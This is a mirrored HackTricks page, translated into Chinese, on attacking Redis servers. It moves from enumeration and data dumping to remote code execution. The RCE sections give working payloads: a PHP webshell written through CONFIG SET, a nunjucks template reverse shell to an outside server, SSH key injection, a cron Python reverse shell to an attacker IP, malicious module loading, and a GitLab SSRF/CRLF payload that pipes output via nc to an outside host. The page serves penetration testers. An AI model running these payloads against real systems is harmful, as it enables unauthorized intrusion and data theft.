mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 06:30:37 +00:00
342 lines
17 KiB
Markdown
342 lines
17 KiB
Markdown
# 6379 - Pentesting Redis
|
||
|
||
{% hint style="success" %}
|
||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>支持 HackTricks</summary>
|
||
|
||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
|
||
|
||
**黑客见解**\
|
||
参与深入探讨黑客的刺激与挑战的内容
|
||
|
||
**实时黑客新闻**\
|
||
通过实时新闻和见解,跟上快速变化的黑客世界
|
||
|
||
**最新公告**\
|
||
了解最新的漏洞赏金计划和重要平台更新
|
||
|
||
**今天就加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy),与顶尖黑客开始合作吧!
|
||
|
||
## 基本信息
|
||
|
||
来自 [文档](https://redis.io/topics/introduction):Redis 是一个开源(BSD 许可),内存中的 **数据结构存储**,用作 **数据库**、缓存和消息代理。
|
||
|
||
默认情况下,Redis 使用基于纯文本的协议,但您必须记住,它也可以实现 **ssl/tls**。了解如何 [在这里运行带有 ssl/tls 的 Redis](https://fossies.org/linux/redis/TLS.md)。
|
||
|
||
**默认端口:** 6379
|
||
```
|
||
PORT STATE SERVICE VERSION
|
||
6379/tcp open redis Redis key-value store 4.0.9
|
||
```
|
||
## 自动枚举
|
||
|
||
一些可以帮助从 Redis 实例获取信息的自动化工具:
|
||
```bash
|
||
nmap --script redis-info -sV -p 6379 <IP>
|
||
msf> use auxiliary/scanner/redis/redis_server
|
||
```
|
||
## 手动枚举
|
||
|
||
### 横幅
|
||
|
||
Redis 是一个 **基于文本的协议**,你可以直接 **在套接字中发送命令**,返回的值将是可读的。还要记住,Redis 可以使用 **ssl/tls** 运行(但这很奇怪)。
|
||
|
||
在一个常规的 Redis 实例中,你可以直接使用 `nc` 连接,或者你也可以使用 `redis-cli`:
|
||
```bash
|
||
nc -vn 10.10.10.10 6379
|
||
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
|
||
```
|
||
您可以尝试的**第一个命令**是**`info`**。它**可能返回包含**Redis实例**信息的输出**,**或者返回类似以下内容**:
|
||
```
|
||
-NOAUTH Authentication required.
|
||
```
|
||
在这种情况下,这意味着**您需要有效的凭据**才能访问Redis实例。
|
||
|
||
### Redis身份验证
|
||
|
||
**默认情况下**,Redis可以**不需要凭据**进行访问。然而,它可以被**配置**为仅支持**密码或用户名 + 密码**。\
|
||
可以在_**redis.conf**_文件中使用参数`requirepass`**设置密码**,**或临时**,直到服务重启,连接到它并运行:`config set requirepass p@ss$12E45`。\
|
||
此外,可以在_**redis.conf**_文件中的参数`masteruser`中配置**用户名**。
|
||
|
||
{% hint style="info" %}
|
||
如果仅配置了密码,则使用的用户名是"**default**"。\
|
||
另外,请注意**无法从外部找到**Redis是否仅配置了密码或用户名+密码。
|
||
{% endhint %}
|
||
|
||
在这种情况下,您将**需要找到有效的凭据**以与Redis进行交互,因此您可以尝试[**暴力破解**](../generic-methodologies-and-resources/brute-force.md#redis)。\
|
||
**如果您找到了有效的凭据,您需要在建立连接后使用以下命令进行身份验证**:
|
||
```bash
|
||
AUTH <username> <password>
|
||
```
|
||
**有效凭据**将会返回: `+OK`
|
||
|
||
### **认证枚举**
|
||
|
||
如果Redis服务器允许**匿名连接**或您已获得有效凭据,您可以使用以下**命令**启动服务的枚举过程:
|
||
```bash
|
||
INFO
|
||
[ ... Redis response with info ... ]
|
||
client list
|
||
[ ... Redis response with connected clients ... ]
|
||
CONFIG GET *
|
||
[ ... Get config ... ]
|
||
```
|
||
**其他 Redis 命令** [**可以在这里找到**](https://redis.io/topics/data-types-intro) **和** [**这里**](https://lzone.de/cheat-sheet/Redis)**.**
|
||
|
||
请注意,**实例的 Redis 命令可以在 _redis.conf_ 文件中重命名或删除**。例如,这一行将删除命令 FLUSHDB:
|
||
```
|
||
rename-command FLUSHDB ""
|
||
```
|
||
有关安全配置Redis服务的更多信息,请访问:[https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
|
||
|
||
您还可以使用命令**`monitor`**实时**监控执行的Redis命令**,或使用**`slowlog get 25`**获取**25个最慢的查询**。
|
||
|
||
在这里找到更多有趣的Redis命令信息:[https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
|
||
|
||
### **转储数据库**
|
||
|
||
在Redis中,**数据库是从0开始的数字**。您可以在命令`info`的“Keyspace”部分的输出中找到是否有人在使用:
|
||
|
||
![](<../.gitbook/assets/image (766).png>)
|
||
|
||
或者您可以通过以下方式获取所有**键空间**(数据库):
|
||
```
|
||
INFO keyspace
|
||
```
|
||
在该示例中,**数据库 0 和 1** 正在使用中。**数据库 0 包含 4 个键,数据库 1 包含 1 个**。默认情况下,Redis 将使用数据库 0。为了导出例如数据库 1,您需要执行:
|
||
```bash
|
||
SELECT 1
|
||
[ ... Indicate the database ... ]
|
||
KEYS *
|
||
[ ... Get Keys ... ]
|
||
GET <KEY>
|
||
[ ... Get Key ... ]
|
||
```
|
||
在运行 `GET <KEY>` 时,如果出现以下错误 `-WRONGTYPE Operation against a key holding the wrong kind of value`,这可能是因为该键的类型不是字符串或整数,需要使用特殊操作符来显示它。
|
||
|
||
要知道键的类型,请使用 `TYPE` 命令,下面是列表和哈希键的示例。
|
||
```bash
|
||
TYPE <KEY>
|
||
[ ... Type of the Key ... ]
|
||
LRANGE <KEY> 0 -1
|
||
[ ... Get list items ... ]
|
||
HGET <KEY> <FIELD>
|
||
[ ... Get hash item ... ]
|
||
|
||
# If the type used is weird you can always do:
|
||
DUMP <key>
|
||
```
|
||
**使用 npm 导出数据库**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **或 python** [**redis-utils**](https://pypi.org/project/redis-utils/)
|
||
|
||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
|
||
|
||
**黑客见解**\
|
||
参与深入探讨黑客的刺激与挑战的内容
|
||
|
||
**实时黑客新闻**\
|
||
通过实时新闻和见解,跟上快速变化的黑客世界
|
||
|
||
**最新公告**\
|
||
了解最新的漏洞赏金计划和重要平台更新
|
||
|
||
**今天就加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy),与顶尖黑客开始合作!
|
||
|
||
## Redis RCE
|
||
|
||
### 交互式 Shell
|
||
|
||
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) 可以在 Redis(<=5.0.5) 中自动获取交互式 shell 或反向 shell。
|
||
```
|
||
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
|
||
```
|
||
### PHP Webshell
|
||
|
||
来自[**这里**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html)的信息。你必须知道**网站文件夹**的**路径**:
|
||
```
|
||
root@Urahara:~# redis-cli -h 10.85.0.52
|
||
10.85.0.52:6379> config set dir /usr/share/nginx/html
|
||
OK
|
||
10.85.0.52:6379> config set dbfilename redis.php
|
||
OK
|
||
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
|
||
OK
|
||
10.85.0.52:6379> save
|
||
OK
|
||
```
|
||
如果 webshell 访问异常,您可以在备份后清空数据库并重试,记得恢复数据库。
|
||
|
||
### 模板 Webshell
|
||
|
||
与前一节一样,您还可以覆盖一些将被模板引擎解释的 html 模板文件,从而获得 shell。
|
||
|
||
例如,按照 [**这篇文章**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/),您可以看到攻击者在 **nunjucks 模板引擎** 解释的 **html** 中注入了一个 **rev shell:**
|
||
```javascript
|
||
{{ ({}).constructor.constructor(
|
||
"var net = global.process.mainModule.require('net'),
|
||
cp = global.process.mainModule.require('child_process'),
|
||
sh = cp.spawn('sh', []);
|
||
var client = new net.Socket();
|
||
client.connect(1234, 'my-server.com', function(){
|
||
client.pipe(sh.stdin);
|
||
sh.stdout.pipe(client);
|
||
sh.stderr.pipe(client);
|
||
});"
|
||
)()}}
|
||
```
|
||
{% hint style="warning" %}
|
||
注意 **多个模板引擎会将** 模板缓存到 **内存中**,因此即使你覆盖了它们,新的模板也 **不会被执行**。在这种情况下,要么开发者保持了自动重载的状态,要么你需要对服务进行 DoS 攻击(并期望它会自动重新启动)。
|
||
{% endhint %}
|
||
|
||
### SSH
|
||
|
||
示例 [来自这里](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
|
||
|
||
请注意 **`config get dir`** 的结果可能会在其他手动利用命令后发生变化。建议在登录 Redis 后立即运行它。在 **`config get dir`** 的输出中,你可以找到 **redis 用户** 的 **家目录**(通常是 _/var/lib/redis_ 或 _/home/redis/.ssh_),知道这一点后,你就知道可以在哪里写入 `authenticated_users` 文件以通过 ssh **以 redis 用户身份** 访问。如果你知道其他有效用户的家目录并且你有可写权限,你也可以利用它:
|
||
|
||
1. 在你的电脑上生成一个 ssh 公私钥对:**`ssh-keygen -t rsa`**
|
||
2. 将公钥写入文件:**`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
|
||
3. 将文件导入 redis:**`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
|
||
4. 将公钥保存到 redis 服务器上的 **authorized\_keys** 文件中:
|
||
|
||
```
|
||
root@Urahara:~# redis-cli -h 10.85.0.52
|
||
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
|
||
OK
|
||
10.85.0.52:6379> config set dbfilename "authorized_keys"
|
||
OK
|
||
10.85.0.52:6379> save
|
||
OK
|
||
```
|
||
5. 最后,你可以使用私钥 **ssh** 连接到 **redis 服务器**:**ssh -i id\_rsa redis@10.85.0.52**
|
||
|
||
**此技术在这里自动化:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
|
||
|
||
### Crontab
|
||
```
|
||
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
|
||
OK
|
||
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
|
||
OK
|
||
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
|
||
OK
|
||
root@Urahara:~# redis-cli -h 10.85.0.52 save
|
||
OK
|
||
```
|
||
最后一个示例适用于 Ubuntu,对于 **Centos**,上述命令应为:`redis-cli -h 10.85.0.52 config set dir /var/spool/cron/`
|
||
|
||
此方法也可以用来赚取比特币:[yam](https://www.v2ex.com/t/286981#reply14)
|
||
|
||
### 加载 Redis 模块
|
||
|
||
1. 按照 [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) 的说明,您可以 **编译一个 redis 模块以执行任意命令**。
|
||
2. 然后您需要某种方式来 **上传编译好的** 模块。
|
||
3. **在运行时加载上传的模块**,使用 `MODULE LOAD /path/to/mymodule.so`
|
||
4. **列出已加载的模块**,以检查是否正确加载:`MODULE LIST`
|
||
5. **执行** **命令**:
|
||
|
||
```
|
||
127.0.0.1:6379> system.exec "id"
|
||
"uid=0(root) gid=0(root) groups=0(root)\n"
|
||
127.0.0.1:6379> system.exec "whoami"
|
||
"root\n"
|
||
127.0.0.1:6379> system.rev 127.0.0.1 9999
|
||
```
|
||
6. 随时卸载模块:`MODULE UNLOAD mymodule`
|
||
|
||
### LUA 沙箱绕过
|
||
|
||
[**这里**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html) 您可以看到 Redis 使用命令 **EVAL** 来执行 **沙箱中的 Lua 代码**。在链接的帖子中,您可以看到 **如何滥用它** 使用 **dofile** 函数,但 [显然](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) 这不再可能。无论如何,如果您可以 **绕过 Lua** 沙箱,您可以 **在系统上执行任意** 命令。此外,从同一帖子中,您可以看到一些 **导致 DoS 的选项**。
|
||
|
||
一些 **CVE 用于逃离 LUA**:
|
||
|
||
* [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543)
|
||
|
||
### 主从模块
|
||
|
||
主 Redis 的所有操作会自动同步到从 Redis,这意味着我们可以将漏洞 Redis 视为从 Redis,连接到我们自己控制的主 Redis,然后我们可以向自己的 Redis 输入命令。
|
||
```
|
||
master redis : 10.85.0.51 (Hacker's Server)
|
||
slave redis : 10.85.0.52 (Target Vulnerability Server)
|
||
A master-slave connection will be established from the slave redis and the master redis:
|
||
redis-cli -h 10.85.0.52 -p 6379
|
||
slaveof 10.85.0.51 6379
|
||
Then you can login to the master redis to control the slave redis:
|
||
redis-cli -h 10.85.0.51 -p 6379
|
||
set mykey hello
|
||
set mykey2 helloworld
|
||
```
|
||
## SSRF 与 Redis 通信
|
||
|
||
如果您可以发送 **明文** 请求 **到 Redis**,您可以 **与其通信**,因为 Redis 会逐行读取请求,并仅对它不理解的行返回错误:
|
||
```
|
||
-ERR wrong number of arguments for 'get' command
|
||
-ERR unknown command 'Host:'
|
||
-ERR unknown command 'Accept:'
|
||
-ERR unknown command 'Accept-Encoding:'
|
||
-ERR unknown command 'Via:'
|
||
-ERR unknown command 'Cache-Control:'
|
||
-ERR unknown command 'Connection:'
|
||
```
|
||
因此,如果您在网站中发现了一个 **SSRF vuln**,并且您可以 **控制** 一些 **headers**(可能通过 CRLF vuln)或 **POST 参数**,您将能够向 Redis 发送任意命令。
|
||
|
||
### 示例:Gitlab SSRF + CRLF 到 Shell
|
||
|
||
在 **Gitlab11.4.7** 中发现了一个 **SSRF** 漏洞和一个 **CRLF**。该 **SSRF** 漏洞存在于 **从 URL 导入项目功能** 中,在创建新项目时允许以 \[0:0:0:0:0:ffff:127.0.0.1] 的形式访问任意 IP(这将访问 127.0.0.1),而 **CRLF** 漏洞则通过在 **URL** 中添加 **%0D%0A** 字符来利用。
|
||
|
||
因此,可以 **利用这些漏洞与管理来自 gitlab 的队列的 Redis 实例进行通信**,并利用这些队列 **获得代码执行**。Redis 队列滥用有效载荷是:
|
||
```
|
||
multi
|
||
sadd resque:gitlab:queues system_hook_push
|
||
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
|
||
exec
|
||
```
|
||
并且**URL编码**请求**滥用SSRF**和**CRLF**来执行`whoami`并通过`nc`发送回输出的内容是:
|
||
```
|
||
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
|
||
```
|
||
_出于某种原因(正如_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _的作者所述)利用`git`方案而不是`http`方案成功。_
|
||
|
||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
|
||
|
||
**黑客见解**\
|
||
参与深入探讨黑客的刺激与挑战的内容
|
||
|
||
**实时黑客新闻**\
|
||
通过实时新闻和见解,跟上快速变化的黑客世界
|
||
|
||
**最新公告**\
|
||
了解最新的漏洞赏金计划和重要平台更新
|
||
|
||
**今天就加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy),与顶尖黑客开始合作!
|
||
|
||
{% hint style="success" %}
|
||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>支持 HackTricks</summary>
|
||
|
||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||
|
||
</details>
|
||
{% endhint %}
|